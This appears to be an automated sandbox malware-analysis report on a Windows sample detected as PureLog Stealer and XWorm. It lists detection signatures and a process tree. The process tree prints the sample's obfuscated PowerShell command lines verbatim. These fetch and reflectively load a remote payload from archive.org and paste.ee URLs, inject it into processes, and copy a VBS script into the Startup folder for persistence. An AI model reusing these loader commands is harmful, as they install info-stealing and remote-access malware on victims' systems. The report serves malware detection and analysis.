Edit tour

Windows Analysis Report
TM3utH2CsU.exe

Overview

General Information

Sample name:	TM3utH2CsU.exe renamed because original name is a hash value
Original sample name:	3658f44acb4d331fa89ab43d782bee2a97a48b2f425cad29939ee472c74bc62f.exe
Analysis ID:	1518119
MD5:	2b39077634e7172489d66ed8e66ae63a
SHA1:	600467d0e3eadb245e451930dee698d1fc37ca23
SHA256:	3658f44acb4d331fa89ab43d782bee2a97a48b2f425cad29939ee472c74bc62f
Tags:	exeGuangdongKenuosiIoTNetworkTechnologyCoLtduser-JAMESWT_MHT
Infos:

Detection

PureLog Stealer, XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Sigma detected: Drops script at startup location

Yara detected PureLog Stealer

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code contains very large array initializations

AI detected suspicious sample

Bypasses PowerShell execution policy

C2 URLs / IPs found in malware configuration

Creates autostart registry keys with suspicious values (likely registry only malware)

Drops VBS files to the startup folder

Drops script or batch files to the startup folder

Found suspicious ZIP file

Found suspicious powershell code related to unpacking or dynamic code loading

Injects a PE file into a foreign processes

Obfuscated command line found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Rare Remote Thread Creation By Uncommon Source Image

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Windows Shell Script Host drops VBS files

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Adds / modifies Windows certificates

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality to call native functions

Contains functionality to detect virtual machines (SLDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Detected potential crypto function

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Too many similar processes found

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

TM3utH2CsU.exe (PID: 7740 cmdline: "C:\Users\user\Desktop\TM3utH2CsU.exe" MD5: 2B39077634E7172489D66ED8E66AE63A)

cmd.exe (PID: 7844 cmdline: "cmd" /C start C:\Users\Public\Documents\privacy_policy.pdf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Acrobat.exe (PID: 7920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\Public\Documents\privacy_policy.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8084 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7392 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1724,i,13391688068409325489,10583059356098987935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5072 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 4920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5680 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 1864 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3768 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 6392 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5268 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 4920 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6320 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 4928 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\sys\pure_hnvc.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 4924 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\sys\hnvc.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6600 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3644 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8200 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)|invOKe-exPReSSiON" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 8280 cmdline: "cmd" /C echo %username% MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8292 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 8328 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 8396 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8468 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8520 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 7204 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 604 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 1704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1504 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}url = {1}https'+'://ia60'+'0100.us.archi'+'ve.org'+'/24/i'+'tems'+'/d'+'et'+'a'+'h-note-v/Detah'+'NoteV'+'.txt{1};{0'+'}base64Co'+'ntent '+'='+' '+'(New-Ob'+'ject Sy'+'st'+'em.Ne'+'t.W'+'ebClie'+'nt).'+'Downl'+'oadSt'+'rin'+'g({0'+'}'+'url);{'+'0}bin'+'ar'+'yCon'+'ten'+'t ='+' '+'[System.Convert]'+'::'+'FromBa'+'se64String({0}base'+'64Con'+'tent);{0}asse'+'mbl'+'y '+'='+' [Reflection.As'+'s'+'embly]::'+'Lo'+'ad({0}bina'+'ryContent);{0}typ'+'e '+'= {'+'0}'+'assem'+'bly.GetT'+'yp'+'e({1}R'+'unPE'+'.Ho'+'me{'+'1});{0'+'}'+'me'+'thod = {0}type.GetMethod({1}VA'+'I{1}'+');{0}'+'m'+'e'+'th'+'od.In'+'v'+'oke({0}nu'+'ll, [obje'+'ct['+']]'+'@({1}'+'0'+'/gJ1k'+'S'+'/d/'+'ee.e'+'tsap//:sptth{1'+'}'+' ,'+' {1}de'+'sat'+'ivado{1'+'}'+' , {1'+'}desativa'+'d'+'o{1} , {1}'+'de'+'sativado{'+'1},{1}C'+'a'+'sPo'+'l{1}'+',{1'+'}{'+'1}))')-f [chAR]36,[chAR]39) |Iex" MD5: 04029E121A0CFA5991749937DD22A1D9)

CasPol.exe (PID: 3864 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

CasPol.exe (PID: 8868 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe" MD5: 914F728C04D3EDDD5FBA59420E74E56B)

cmd.exe (PID: 8544 cmdline: cmd.exe /e:ON /v:OFF /d /c ""C:\Users\Public\Documents\pow\wm_startup.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8552 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 8612 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\Public\Documents\pow\wm.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 8668 cmdline: "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8676 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 8712 cmdline: ping 127.0.0.1 -n 10 MD5: 2F46799D79D22AC72C241EC0322B011D)

powershell.exe (PID: 9060 cmdline: powershell -command [System.IO.File]::Copy('C:\Users\Public\Documents\pow\wm.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.navircse.vbs')') MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 4252 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysn